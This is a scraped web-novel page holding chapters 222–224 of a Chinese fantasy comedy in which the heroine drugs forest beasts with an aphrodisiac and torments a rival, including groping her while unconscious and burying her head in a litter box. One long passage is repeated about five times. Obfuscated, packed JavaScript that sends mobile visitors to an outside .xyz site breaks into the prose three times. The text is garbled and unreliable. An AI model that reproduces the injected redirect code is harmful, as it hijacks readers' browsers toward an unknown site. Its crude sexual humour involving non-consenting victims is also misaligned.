黑森林灵兽妖兽魔兽尽有,且多是稀罕的兽兽,三王极为重视,看的跟眼珠子似的。 尝试过很多次来诱捕它,却从未闹出过这般大的动静。 “跑不掉的。”江献晚低头抚去衣裙上的瓜子皮,又摸出两把瓜子给霓裳和幽冥,“马上就来了。” 她才不跑! 只要女主有电,她江献晚永远在线! 毕竟,除了女主和系统,没谁再对她这般掏心又掏肺的了。 江献晚俯视着那只漂亮的大猫咪,唇角勾起一抹促狭的弧度。 “既然听到我们的话,知道我们是来抢你的,还不跑,担心我们?” “傻的可爱。” 两条兔腿就把它的心收买了? 天雪白尾兽轻易的能听出,最后几个字并没有任何嘲讽,反而像发自内心的喜爱。 柔软的灰白色兽**下,耳尖悄无声息涌出一层粉色,不自在的刨了刨土。 “谁担心你们这三个坏心眼的家伙了!” 说罢,傲娇的一甩尾巴,消失在灌木丛中。 幽冥却有些纠结,他皮糙肉厚的,更不怕死,只担心女色魔霓裳跟他家魔后,待会儿会受到任何一点伤害。 “您和霓裳先离开,这里有我,等我去把那个什么染杀了,就回去找你……” 他话未说完,就挨了两大捶。 江献晚收回拳头,丢掉瓜子皮,“小蛟蛟,不要质疑你家魔后的能力。” 霓裳嫌弃一瞥他,“上一边去!要走你走,别打扰我们姐妹儿看戏!” 说罢,迫不及待的兴奋搓手。 “那,来?” 她对这种团战场面,可太有兴趣了好吧! 江献晚唇角一抽。 话说,她怎么到了哪,都得免费给人家贡献一盆交欢丹? 说话间,四面八方的异动愈演愈烈,异兽狂奔的破风声,暴躁的嘶吼声,隐隐夹杂着树木被撞倒砸在地面的沉闷。 这种熟悉的场面,除了江献晚提不起劲儿,另一边,月离他们仨都惊呆了。 尤其在看到有几头异兽绕开他们,视而不见朝着黑森林更深处狂奔,且都是同一个方向。 齐刷刷的侧眸,意味不明的看向林轻染。 林轻染眼底立刻燃起一丝希望,当即道:“不如我们先出去吧?” “出去?”迷音莫名觑了她一眼,冷笑道:“你在教我做事?小爷最烦别人命令我!” 月离:“你让我出去就出去?我偏不出去!” 迷音:“这么急着走,外面是有你爹还是你娘,说!是不是你搞的鬼?” 林轻染:“……” 系统:“……” 为什么不按套路出牌! 为什么! 有、病、吧! 系统破口大骂:“谁叫你跟他们仨唱反调了蠢货!” 林轻染心口仿佛中了四箭,纤纤玉指捂上胸脯,险些栽倒。 她忘了,这仨玩意儿,最讨厌别人命令他们!!! 水涟上下打量了一下林轻染,仿佛看破了一切般,嗤声一笑,优美的巨大黑翼展开,轻轻一震。 “小爷去看看,她就交给你们了。” 难得,月离和迷音都没跟他吵,只同时道:“滚吧。” 林轻染:“……” 妈的! 说好的喜欢跟人对着干的呢?! 现在怎么又听话了! 大傻*! 爱走不走! 都死算了! 黑衣少年悬立在长空,那对巨大的羽翼在阳光下勾勒出每一片羽毛的清晰轮廓。 强健的羽骨,慵懒舒展的姿态,充满野性的力量,微风拂过,最外层的飞羽轻轻摇曳,仿佛抖落点点碎金光尘一般。 整个画面带着一种不真实的梦幻与优美。 水涟眯眸望向异兽涌去的位置。 侧眸,简洁道:“前方不远,去,还是去?” 迷音月离异口同声:“当然是去啊!死鸟!” 三王曾经说过,他们家的黑森林,有许多兽兽,他们皇都心甘情愿的看过一眼的。 那天雪白尾兽更是他们皇罩的,身上每一根**都得归他们家皇。 迷音刷地拔出软剑,冰冷的光线在锋刃边缘形成一道凝练到极致的亮线,悄无声息压上林轻染的脖颈,让周围的温度都似乎骤然降了几分。 “你先去。” 林轻染:“……” 系统:“……” 二逼吧他! 人不去,非让人去! 他怎么不自个先去! 以后谁再说界域修士都是傻子,他们第一个不同意!!! 齐刷刷的侧眸,意味不明的看向林轻染。 林轻染眼底立刻燃起一丝希望,当即道:“不如我们先出去吧?” “出去?”迷音莫名觑了她一眼,冷笑道:“你在教我做事?小爷最烦别人命令我!” 月离:“你让我出去就出去?我偏不出去!” 迷音:“这么急着走,外面是有你爹还是你娘,说!是不是你搞的鬼?” 林轻染:“……” 系统:“……” 为什么不按套路出牌! 为什么! 有、病、吧! 系统破口大骂:“谁叫你跟他们仨唱反调了蠢货!” 林轻染心口仿佛中了四箭,纤纤玉指捂上胸脯,险些栽倒。 她忘了,这仨玩意儿,最讨厌别人命令他们!!! 水涟上下打量了一下林轻染,仿佛看破了一切般,嗤声一笑,优美的巨大黑翼展开,轻轻一震。 “小爷去看看,她就交给你们了。” 难得,月离和迷音都没跟他吵,只同时道:“滚吧。” 林轻染:“……” 妈的! 说好的喜欢跟人对着干的呢?! 现在怎么又听话了! 大傻*! 爱走不走! 都死算了! 黑衣少年悬立在长空,那对巨大的羽翼在阳光下勾勒出每一片羽毛的清晰轮廓。 强健的羽骨,慵懒舒展的姿态,充满野性的力量,微风拂过,最外层的飞羽轻轻摇曳,仿佛抖落点点碎金光尘一般。 整个画面带着一种不真实的梦幻与优美。 水涟眯眸望向异兽涌去的位置。 侧眸,简洁道:“前方不远,去,还是去?” 迷音月离异口同声:“当然是去啊!死鸟!” 三王曾经说过,他们家的黑森林,有许多兽兽,他们皇都心甘情愿的看过一眼的。 那天雪白尾兽更是他们皇罩的,身上每一根**都得归他们家皇。 迷音刷地拔出软剑,冰冷的光线在锋刃边缘形成一道凝练到极致的亮线,悄无声息压上林轻染的脖颈,让周围的温度都似乎骤然降了几分。 “你先去。” 林轻染:“……” 系统:“……” 二逼吧他! 人不去,非让人去! 他怎么不自个先去! 以后谁再说界域修士都是傻子,他们第一个不同意!!! 齐刷刷的侧眸,意味不明的看向林轻染。 林轻染眼底立刻燃起一丝希望,当即道:“不如我们先出去吧?” “出去?”迷音莫名觑了她一眼,冷笑道:“你在教我做事?小爷最烦别人命令我!” 月离:“你让我出去就出去?我偏不出去!” 迷音:“这么急着走,外面是有你爹还是你娘,说!是不是你搞的鬼?” 林轻染:“……” 系统:“……” 为什么不按套路出牌! 为什么! 有、病、吧! 系统破口大骂:“谁叫你跟他们仨唱反调了蠢货!” 林轻染心口仿佛中了四箭,纤纤玉指捂上胸脯,险些栽倒。 她忘了,这仨玩意儿,最讨厌别人命令他们!!! 水涟上下打量了一下林轻染,仿佛看破了一切般,嗤声一笑,优美的巨大黑翼展开,轻轻一震。 “小爷去看看,她就交给你们了。” 难得,月离和迷音都没跟他吵,只同时道:“滚吧。” 林轻染:“……” 妈的! 说好的喜欢跟人对着干的呢?! 现在怎么又听话了! 大傻*! 爱走不走! 都死算了! 黑衣少年悬立在长空,那对巨大的羽翼在阳光下勾勒出每一片羽毛的清晰轮廓。 强健的羽骨,慵懒舒展的姿态,充满野性的力量,微风拂过,最外层的飞羽轻轻摇曳,仿佛抖落点点碎金光尘一般。 整个画面带着一种不真实的梦幻与优美。 水涟眯眸望向异兽涌去的位置。 侧眸,简洁道:“前方不远,去,还是去?” 迷音月离异口同声:“当然是去啊!死鸟!” 三王曾经说过,他们家的黑森林,有许多兽兽,他们皇都心甘情愿的看过一眼的。 那天雪白尾兽更是他们皇罩的,身上每一根**都得归他们家皇。 迷音刷地拔出软剑,冰冷的光线在锋刃边缘形成一道凝练到极致的亮线,悄无声息压上林轻染的脖颈,让周围的温度都似乎骤然降了几分。 “你先去。” 林轻染:“……” 系统:“……” 二逼吧他! 人不去,非让人去! 他怎么不自个先去! 以后谁再说界域修士都是傻子,他们第一个不同意!!! 齐刷刷的侧眸,意味不明的看向林轻染。 林轻染眼底立刻燃起一丝希望,当即道:“不如我们先出去吧?” “出去?”迷音莫名觑了她一眼,冷笑道:“你在教我做事?小爷最烦别人命令我!” 月离:“你让我出去就出去?我偏不出去!” 迷音:“这么急着走,外面是有你爹还是你娘,说!是不是你搞的鬼?” 林轻染:“……” 系统:“……” 为什么不按套路出牌! 为什么! 有、病、吧! 系统破口大骂:“谁叫你跟他们仨唱反调了蠢货!” 林轻染心口仿佛中了四箭,纤纤玉指捂上胸脯,险些栽倒。 她忘了,这仨玩意儿,最讨厌别人命令他们!!! 水涟上下打量了一下林轻染,仿佛看破了一切般,嗤声一笑,优美的巨大黑翼展开,轻轻一震。 “小爷去看看,她就交给你们了。” 难得,月离和迷音都没跟他吵,只同时道:“滚吧。” 林轻染:“……” 妈的! 说好的喜欢跟人对着干的呢?! 现在怎么又听话了! 大傻*! 爱走不走! 都死算了! 黑衣少年悬立在长空,那对巨大的羽翼在阳光下勾勒出每一片羽毛的清晰轮廓。 强健的羽骨,慵懒舒展的姿态,充满野性的力量,微风拂过,最外层的飞羽轻轻摇曳,仿佛抖落点点碎金光尘一般。 整个画面带着一种不真实的梦幻与优美。 水涟眯眸望向异兽涌去的位置。 侧眸,简洁道:“前方不远,去,还是去?” 迷音月离异口同声:“当然是去啊!死鸟!” 三王曾经说过,他们家的黑森林,有许多兽兽,他们皇都心甘情愿的看过一眼的。 那天雪白尾兽更是他们皇罩的,身上每一根**都得归他们家皇。 迷音刷地拔出软剑,冰冷的光线在锋刃边缘形成一道凝练到极致的亮线,悄无声息压上林轻染的脖颈,让周围的温度都似乎骤然降了几分。 “你先去。” 林轻染:“……” 系统:“……” 二逼吧他! 人不去,非让人去! 他怎么不自个先去! 以后谁再说界域修士都是傻子,他们第一个不同意!!! 齐刷刷的侧眸,意味不明的看向林轻染。 林轻染眼底立刻燃起一丝希望,当即道:“不如我们先出去吧?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15971392|177725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“出去?”迷音莫名觑了她一眼,冷笑道:“你在教我做事?小爷最烦别人命令我!” 月离:“你让我出去就出去?我偏不出去!” 迷音:“这么急着走,外面是有你爹还是你娘,说!是不是你搞的鬼?” 林轻染:“……” 系统:“……” 为什么不按套路出牌! 为什么! 有、病、吧! 系统破口大骂:“谁叫你跟他们仨唱反调了蠢货!” 林轻染心口仿佛中了四箭,纤纤玉指捂上胸脯,险些栽倒。 她忘了,这仨玩意儿,最讨厌别人命令他们!!! 水涟上下打量了一下林轻染,仿佛看破了一切般,嗤声一笑,优美的巨大黑翼展开,轻轻一震。 “小爷去看看,她就交给你们了。” 难得,月离和迷音都没跟他吵,只同时道:“滚吧。” 林轻染:“……” 妈的! 说好的喜欢跟人对着干的呢?! 现在怎么又听话了! 大傻*! 爱走不走! 都死算了! 黑衣少年悬立在长空,那对巨大的羽翼在阳光下勾勒出每一片羽毛的清晰轮廓。 强健的羽骨,慵懒舒展的姿态,充满野性的力量,微风拂过,最外层的飞羽轻轻摇曳,仿佛抖落点点碎金光尘一般。 整个画面带着一种不真实的梦幻与优美。 水涟眯眸望向异兽涌去的位置。 侧眸,简洁道:“前方不远,去,还是去?” 迷音月离异口同声:“当然是去啊!死鸟!” 三王曾经说过,他们家的黑森林,有许多兽兽,他们皇都心甘情愿的看过一眼的。 那天雪白尾兽更是他们皇罩的,身上每一根**都得归他们家皇。 迷音刷地拔出软剑,冰冷的光线在锋刃边缘形成一道凝练到极致的亮线,悄无声息压上林轻染的脖颈,让周围的温度都似乎骤然降了几分。 “你先去。” 林轻染:“……” 系统:“……” 二逼吧他! 人不去,非让人去! 他怎么不自个先去! 以后谁再说界域修士都是傻子,他们第一个不同意!!! 齐刷刷的侧眸,意味不明的看向林轻染。 林轻染眼底立刻燃起一丝希望,当即道:“不如我们先出去吧?” “出去?”迷音莫名觑了她一眼,冷笑道:“你在教我做事?小爷最烦别人命令我!” 月离:“你让我出去就出去?我偏不出去!” 迷音:“这么急着走,外面是有你爹还是你娘,说!是不是你搞的鬼?” 林轻染:“……” 系统:“……” 为什么不按套路出牌! 为什么! 有、病、吧! 系统破口大骂:“谁叫你跟他们仨唱反调了蠢货!” 林轻染心口仿佛中了四箭,纤纤玉指捂上胸脯,险些栽倒。 她忘了,这仨玩意儿,最讨厌别人命令他们!!! 水涟上下打量了一下林轻染,仿佛看破了一切般,嗤声一笑,优美的巨大黑翼展开,轻轻一震。 “小爷去看看,她就交给你们了。” 难得,月离和迷音都没跟他吵,只同时道:“滚吧。” 林轻染:“……” 妈的! 说好的喜欢跟人对着干的呢?! 现在怎么又听话了! 大傻*! 爱走不走! 都死算了! 黑衣少年悬立在长空,那对巨大的羽翼在阳光下勾勒出每一片羽毛的清晰轮廓。 强健的羽骨,慵懒舒展的姿态,充满野性的力量,微风拂过,最外层的飞羽轻轻摇曳,仿佛抖落点点碎金光尘一般。 整个画面带着一种不真实的梦幻与优美。 水涟眯眸望向异兽涌去的位置。 侧眸,简洁道:“前方不远,去,还是去?” 迷音月离异口同声:“当然是去啊!死鸟!” 三王曾经说过,他们家的黑森林,有许多兽兽,他们皇都心甘情愿的看过一眼的。 那天雪白尾兽更是他们皇罩的,身上每一根**都得归他们家皇。 迷音刷地拔出软剑,冰冷的光线在锋刃边缘形成一道凝练到极致的亮线,悄无声息压上林轻染的脖颈,让周围的温度都似乎骤然降了几分。 “你先去。” 林轻染:“……” 系统:“……” 二逼吧他! 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有玄古大赛的例子在前,她特意又炼出了三锅没有任何气味,强效版的交欢丹。 不是她吹,除了她特制的解药,谁来都没用,沾之即躺,哪怕掩住口鼻。 就算花美人来了,都得给她麻溜躺好了。 江献晚掩在浓荫绿叶中,屁股下的树干都在剧烈颤动。 只是当他们瞥见那抹闪电般掠在最前方,去而复返的天雪白尾兽,说不意外是假的。 江献晚眼底带着一缕诧异,“你怎么又回来了?” 还是也被同化,发狂了? 看着不像,倒像是中了她的药。 可想而知,大猫咪并没有跑远。 天雪白尾兽四爪虚浮,跌跌撞撞的落在她身边的树杈上,差点摔下去。 嘴巴还挺硬。 “我来看看你们**的。” 霓裳:“……那你,还真是善。” 幽冥看着状态明显不对的大猫咪,猥琐地嘿嘿一笑,“相信我,待会你会先累死的。” 还会,子子孙孙无穷尽也。 “过来,把解药吃了。” 江献晚并不希望基因强大的咪咪随便找个兽,组成两口子,只手掰过它的脑袋瓜。 天雪白尾兽此刻也察觉到了不对劲,浑身发热,头脑兴奋,有种想造小崽子的……强烈冲动。 忙不迭舔走江献晚掌心的药。 “你们要干什么?” 他们三个果然不是什么好魔好人,竟然下那种羞羞的药。 不等江献晚回答,它就被紧随其来的一幕惊的瞠目结舌。 修为低的,还没跑到跟前,就已经饥不择食,摁倒身边最近的兽,开始了最原始的律动。 修为高的,发出几道不走心的攻击,在看到其他兽兽激情的 滚在草地上,挣扎几下,果断选择无视江献晚他们,紧跟着加入。 天雪白尾兽从未见过这般声势浩大的交媾场面,下意识夹紧尾巴。 实在不敢想象,自己差点成为其中一员,清白不保。 江献晚看了看它的飞机耳,心中笑的打滚,揽过它的脖颈,“你长这么大,没谈过恋爱?” “何为恋爱?” “恋爱就是……”江献晚忽然压低声音,“嘘,这个待会再告诉你。” 察觉到有人靠近的动静,霓裳和幽冥猥琐的无声桀桀狂笑,将身形缩进密叶中。 林轻染这回意外的没有那种白衣翩跹摇曳,仙气飘飘的姿态,后心被剑尖抵着。 随着距离越近,脸上沁出一层细密的冷汗,惊恐的视线不停的四处张望,似乎想找什么,又怕会看见什么一样。 与三个游山玩水般,还能随手掐朵花、揪根草、相互撕吧两下的三个少年,形成了极强烈的反差。 她脑中似乎浮出了江献晚那张堪比邪祟的脸。 在看到滚成一片又一片,挥洒着洋溢青春的异兽,立刻屏住了呼吸。 她在禁地时,听到看守的弟子低声讨论玄古大赛。 说林玉锦如何炼制出了一锅交欢丹,南境小队从兽潮中迅速逃出生天。 说江献晚如何与妖域和蓝宝联手,反手坑了北境小队一波。 来者,果然是江献晚! 眼前龌龊的手笔,分明只有江献晚那个杀都杀不死的邪祟,才能想出的损招! 林轻染哆嗦着唇瓣,在脑海中疯狂呼唤系统。 “怎么办!江献晚来了!系统!系统!” “她在哪!” “江献晚在哪!” “她要杀我!她一定是想要杀了我!” 系统:“……”不然呢? 她还能给你摆一桌子菜? 察觉到江献晚他们仨,就在林轻染的头顶,系统已然有种绝望的平静,只能拼命收敛气息,装死。 只要林轻染死不了,能留下一口气,让江献晚出出气又有何妨? 系统闭口不答。 心中却自有计较。 江献晚炼制的交欢丹异常霸道,沾上一点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15975857|177725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气味,便能 迅速失去理智。 林轻染和月离他们如今已有中了**之气的征兆,若是在此双修,江献晚再怎么变态,总不能在人家做那种事情的时候动手吧? 它还能助林轻染抢夺月离他们的气运,说不定这些气运,可以助它重创江献晚。 望着一片又一片滚作一团的兽,迷音呆了三秒才回过神,“它们自己组织了一场集体活动?” 月离:“用得着你说?这一看就是集体啊**!” 水涟:“要不咱把今天命名为‘吾皇亲定界域繁衍纪念日’?” 月离迷音:“死鸟,你说的还挺有道理。” 水涟:“那就这么说了,出去跟三王说一下,他们肯定会很高兴的!” 月离迷音:“这件事我先说!” 水涟:“凭什么!这是我想到的!” 江献晚四个:“……” 先不说谁说。 那你们家皇高兴吗? 棺材板都摁不住了吧? 还有,这三个傻孩子,竟然都没觉得这么多兽搁这打团战,很不对? 三个少年这次倒是瞬间吵出个一起说的结果,而后一致嫌弃地看向林轻染。 “我说你为什么哭哭啼啼,非求着三王来我家黑森林,没想到长的人模狗样,口味倒是独特。” “她口味本来就独特啊!” 林轻染决计想不到,‘口味独特’四个字会报应在自己身上,惨白的脸色难看到极致。 她无力回怼,注意力皆在江献晚躲在哪里! 然而,就在此时,一股蛮横、失控的热浪忽然席卷她的身体,使得她视线有些模糊,头脑迅速陷入一种昏沉状态。 林轻染心中大骇,苍白的面容染上一层红霞,踉跄退了半步。 她明明及时封住了口鼻,灵力也运转无误,并非春潮期! 月离三个已经在疯狂后退了。 终于后知后觉反应过来。 “你这个丑八怪!竟敢给我家的兽下**!” “**啊你!她也给我们下了!” 水涟双翼一震,掀翻饥不择食朝他扑来的兽。 “蠢货!她分明是馋我们的身子!” 第 223 章 给你也不给她 林轻染心底一片冰凉。 她是馋他们的身子,可她也干不出拉一群异兽,一起做运动的变态举动! 林轻染此时早已听不清三个少年的破口大骂,更听不见头顶传来的窃窃私语声。 面对这么一幕壮观辽阔,此起彼伏的景象,体内的野火刹那剪断了理智。 汹涌而至的欲潮,更是使得她再顾不上藏在暗处的江献晚。 下意识作出反应,挥袖震开将她衣裙撕下一片的异兽。 遵从身体的选择,和系统的诱导,目露红光,转身朝着三个少年扑去! 她急切之下,竟是爆发出一股前所未有的力量,手指快若闪电,带着一股狠劲,探向三个少年。 见状,月离他们吓得骂声一止,大叫着拔腿就跑。 “不要脸!她竟然想摸小爷的翅膀!” “呸!老子今天给狗都不给你!” “啊啊啊!她喘什么!三王!三王!我要回家!” 藏在树杈上的一人两魔,望着底下猫抓老鼠似的一幕,啪啪鼓了一连串掌。 你说你抓一个,这事儿不就成了,一下非得抓三个。 “她不去花巷挂个牌真的白瞎了!”霓裳抓起大猫咪两只前爪,强迫它跟着拍了两下。 谁成想,他们四个都挤在一根粗壮的树枝上。 一激动。 “咔嚓。” 树枝承载不住重量,应声而断。 幽冥黑色的尾巴迅速卷上四人合抱的树干,一手拽上了霓裳,霓裳拽上了江献晚,江献晚则抓住了天雪白尾兽的长尾巴。 以一种高难度的姿势,悬成一串。 看看被粗壮树干正中脑袋的林轻染,再看头朝下悬挂的四个。 三个抱头鼠窜的少年,瞬间站定在原地。 三秒后,整整齐齐,发出一声尤为新奇的震惊。 “人?” “魔?” “兽?” 江献晚等:“……” 还行。 没瞎。 江献晚翻身带着大猫咪跃上树干,顺势将霓裳捞上来,指尖捏着一片随手揪的叶子,有些好奇。 “你们刚 才怎么不从了她?” 林轻染虽然挺癫,但长相确实是没得说,一眼就很容易让人心生好感,想要泼出性命保护。 对此,三个少年大声齐道:“我们又不是傻子!” “给你也不给她!” 江献晚:“……那倒不必!” 她吃不消。 她有七个了(不管是不是真的)。 她一个都吃不消。 忙丢出一个药瓶,严肃道:“吃!” 水涟抿了抿唇,来不及多问,体内的燥热仿佛烧开的热水。 在他的翅膀被月离摸了一下,也不管是不是**,忙揭开一点黑色面纱,将药塞进口中。 然后摁着月离和迷音,将药丸恶狠狠的捣进去。 “吃!给小爷吃!” 竟然敢摸他的羽毛! 江献晚掠过果不其然又扭打在一起的三个少年,一道灵力轰飞即将扑在林轻染身上的异兽。 水涟一边扯月离和迷音的遮羞布,忙里抽闲,不开心的嚷嚷道:“你救这个恶毒的女人干嘛?” 江献晚没说话,灵力转了个弯,扯了林轻染,丢上树杈。 她是想杀林轻染,但她还没那种变态癖好,用恶毒的方式对待一个女性同胞。 双指一并,一缕神识粗暴的探入林轻染识海,仔细搜刮。 左手指尖同时蓄起灵力刀刃,精准的朝着林轻染心口,落下。 然而,一股无形的强悍力量将她的灵力刀刃反弹了回来。 一缕黏稠阴涩的黑气仿佛是错觉,眨眼消失。 江献晚睫毛一颤,早有准备,半边身子微微一侧,那股力量将身后的古树轰成碎屑。 霓裳看的咋舌,“见鬼了!” “这小东西,可真牛逼。” 江献晚低眸打量着林轻染的面庞,她不笑时,眸色总是泛着一种漠视万物的冷淡。 躲在林轻染识海中的系统,甚至有种江献晚已经看到它,而它,命悬一线的错觉。 吓的大气都不敢喘。 江献晚一边操控着自己的那缕神识,果断道:“你来。” 霓裳的法器很漂亮,看似无害的蓝色细鞭,一端的尖刺闪烁着冰冷而阴森的黑 色魔息。 即将刺入林轻染心口的那一刹那,霓裳连忙侧身躲过被反弹回的致命一击。 她心有余悸,收起长鞭。 “要么她身上有我们察觉不了的保命法宝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15975858|177725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,要么就是天道亲闺女。” 这么近的距离,都杀不死。 实在诡异。 发现敌人,下意识惊醒的墓碑:“……” 亲闺女? 呵忒! 身上带个邪祟,也配称什么亲闺女? 最多算是有点气运在身上罢了。 要不要看看面前站着的是谁? 压天道三头的……大邪祟! 若不是它的力量受到法则约束,消减十之九,江献晚又与天道约定在先,哪里能让林轻染和那个早就该死的邪祟在江献晚面前蹦跶! 墓碑看了一眼碑内躺尸的两个,无声吐出一口气。 幽冥不信邪,跟着试了一下,稀奇道:“还真是!” “那杀不了她怎么办?” 江献晚没说话,她来来**搜了几遍,始终再搜不到那缕黑气,更找不到厄弓的存在,只能先将自己的神识收回。 系统藏的太深,根本无法捕捉、锁定。 若是逼急了它,说真的,江献晚有种不仅在场所有人,恐怕还有许多生命都得一块死的直觉。 躲在林轻染神识内的系统,此刻却捏了一把又一把的汗。 江献晚太难搞! 给它的感觉比帝隐还要恐怖许多! 它甚至觉得,江献晚是不是已经发现了它! 而这种恐怖的感觉,它在三百年前……曾经体会过一次。 江献晚……到底是谁? 与界皇,又有什么联系! 江献晚垂眸掏出一张干净帕子细细擦手,正思索着,霓裳忽然淡定地伸出手,在林轻染的肌肤上,又抓又掐。 江献晚:“……”山上的笋,都被你夺完了。 霓裳经验丰富,干起来熟练无比。 “大腿根必须来几下。” “女乃子也来几下。” “幽冥,你试试,嫩的咧。” 幽冥:“不要!变态!” “那小猫你试试,刚好用你的爪子挠几下,更真实。” 系统:“……”她有病吧? 天雪白尾兽头摇的跟个拨浪鼓似的,后退的时候,一爪踩断了林轻染的小腿。 霓裳失望地摇头,“那可真是遗憾。” 说罢,话音又是一转,贼兮兮的搭上江献晚的肩,“姐妹,我有一个想法。” 第 224 章 六个挂件 幽冥:“……?” 天雪白尾兽:“……?” 姐妹儿有想法,江献晚当然要支持,满不在乎的点点头,“可以,姐妹儿,你大胆的干。” 林轻染的命,虽然暂时取不了,但要命的缺德事,又不耽误干。 那样都杀不死,种在屎盆子里,肯定也死不了。 顶多有点味! 霓裳得到姐妹儿的支持,说干就干。 先是摸了摸天雪白尾兽的脑袋瓜,说了一句“我用一下你的屎盆子哈。” 不等后者反应,兴冲冲的扛起林轻染,狂奔到屎盆子旁边。 “哈!”一声,用力将她头朝下,直挺挺栽了进去! 天雪白尾兽:“……”它的屎盆子!!! 在场的:“……!” 系统:“……!” 有、病、吧!!! 这女色魔能跟江献晚玩到一块,绝对不是因为什么友情,而是……病情! 不得不说,霓裳的力气还挺大,直接给人栽的就剩一双小腿,还贴心的往下又踩了几下,说什么埋深点,才能腌入味。 系统:“……哕——!!!” 干完缺德事,霓裳神清气爽,挺着波涛汹涌的线条,揽上江献晚的肩。 色眯眯的视线剥过仍站在原地,用一种诡异目光打量他们的三个少年。 再次提出自己下一个想法。 “姐妹儿,我想狠狠践踏他们仨,以报虚古境之仇!” 幽冥:“……” 刚拿到一盆**,她就又犯病。 直说想上他仨不就得了。 月离三个,铿锵有力,吐霓裳脸上:“呸——!” “给她也不给你!” 江献晚:“……”他们仨竟然听出来了? 还挺聪明。 江献晚拍拍霓裳的肩,语重心长,“姐妹儿我劝你换个目标,爱尝试新鲜事物是好事,前提是,这仨你最好别尝。” 别说,就算月离他们浑身上下被黑衣裹的严严实实,但并不影响出类拔萃的骨相。 只看裸露在外的双手,便自有一种内蕴力量的精致。 不过,霓裳这个想法 有点威胁自身安全,月离他仨可能会先把霓裳给撕了,或是把自个杀了,都不给她。 三个少年:“……?” “也是哈。”霓裳想想他仨感人的智商,嫌弃的不行,立刻打消这个念头,拍拍屁股,揽着江献晚离开。 天雪白尾兽亦步亦趋地跟上。 月离不乐意了,“你们就这么走了?” 迷音:“对啊,走什么?” 水涟:“我们都还没走。” 江献晚头也不回,“怎么?舍不得我们?” “才不是!”水涟长腿一迈,三两步撵上来,一手将霓裳从她身上撕下来,“你怎么跟他们两个魔在一起?” “她是我魔域……唔。” 幽冥的话**献晚抬手捂了回去,她好整以暇地望着三个少年。 “你们一人一妖一魔怎么说?” 月离抱臂:“……可恶,被她问到了。” 迷音扬脖:“我乐意!” 水涟叉腰:“要你管!” 江献晚摸了摸他的翅膀,怜爱道:“傻孩子。” 又摸迷音脑袋:“你也是。” 月离她也没放过,摇头摸了一下。 直到四道身影走的老远,沉浸在自己脑瓜子被摸了的三个少年,连忙追了上去。 江献晚垂眸看向身侧的天雪白尾兽,眼里写满不解,“你跟着我们干嘛?” 后者刨刨土,理直气壮,“我屎盆子不能用了,你们得对我负责!” 霓裳看透一切的眼神,嘿嘿一笑,“想跟就直说,明明我把她栽你屎盆子里的时候你还偷着乐呢,这么大的兽了,竟然学会了狡辩,害不害臊!” “我才没有狡辩!” 幽冥:“你搅了!” 正当俩魔一兽为搅没搅的事争执不休,月离三个也撵了过来。 目光诡异,交头接耳,不跟他们说话,也不动手,就这么跟着。 江献晚他们没管他仨,也没管天雪白尾兽,很快来到黑森林另一端边缘。 玄冥熟稔的缩小,盘在江献晚手腕,霓裳不由分说抗起江献晚。 就是,当霓裳刚抬起一条腿,准备迈出黑森林,江献晚衣裳忽然一紧,被三只手和一张嘴拽了 回去。 她无奈的开口,声音仍是几分宠溺的意味,“我们还有事,你们回家吧。” 天雪白尾兽是反驳最快的那个,“不行!” “除非你们赔我一个新的屎盆子!” 江献晚:“……” “我凭什么要回家!”月离紧紧拽着她的胳膊,不肯撒,“还有,你们为什么能穿过黑森林的结界?” 水涟迷音:“对!” 江献晚趴在霓裳肩膀上,摸了摸下巴,“可能是因为我们人品好。” “我才不信。”水涟晃了晃手里的传送符,“我没有传送符都出不去!” 迷音认真看了一下他们的姿势,“难道是姿势问题?” 他立刻朝水涟一指,“快!变成鸟!你!过来,让小爷骑着!” 换做平时,水涟和月离肯定要跟他干一架,不过好奇心还是战胜了一切。 三个少年学着江献晚他们的姿势,摇摇晃晃,三头扎向结界。 毫无悬念,被一层金色的光罩反弹回来,摔作一团。 “你俩压我翅膀了!” “你的脸硌到我屁股了!” “我还以为吾皇布的结界,需要这种很帅的姿势就能来去自如!” 墓碑:“……”那你们还真的是想多了。 江献晚是很帅,但也不至于帅到这种小事上啊! 大傻春! 霓裳都被他们的脑回路给震惊了。 他仨手里的传送符是拿来擦屁股的吗? 她庆幸的拍了拍胸脯,“姐妹儿,咱们魔碑要是插在这种地方,说真的,我怕我的脑子会被腐蚀。” 看着那三张被随手丢在地上的传送符,幽冥认真思索片刻,语气忽然变得伤感起来,“我觉得,我的脑子还是比较重要一点。” 江献晚:“……”能说出这种话,他俩有必要担心自个的脑子? 最后的最后,撕吧好一会儿,江献晚只能认命的拖着六个挂件,一步迈出黑森林。 